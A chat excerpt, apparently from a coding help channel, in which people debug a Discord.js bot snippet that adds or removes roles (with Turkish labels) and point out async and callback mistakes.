{
return console.log(`${abc.tag} !== ${abc.bot}`);
}
else if(seçenek === "ver")
{
console.log("ok")
await abc.roles.add(role)
.then(console.log("Sucsess"))
.catch(async() => {
i.reply("Birşeyler ters gitti. Botun izinlerini kontrol et");
});
}
else if(seçenek === "al")
{
console.log("ok")
await abc.roles.remove(role)
.then(console.log("Sucsess"))
.catch(async() => {
i.reply("Birşeyler ters gitti. Botun izinlerini kontrol et");
});
}
}
why it addes to all users
because else if
first of all, don't use accents on variables
why the fuck do you await a map?
also I'm pretty sure you meant .then(() => console.log("Success")) instead of .then(console.log("Sucsess"))
and itsnt for each member so if a member bot return to foreach line and try again with another
how i connect this database
I wonder if he's still reading the answers
?
that's not a database sir






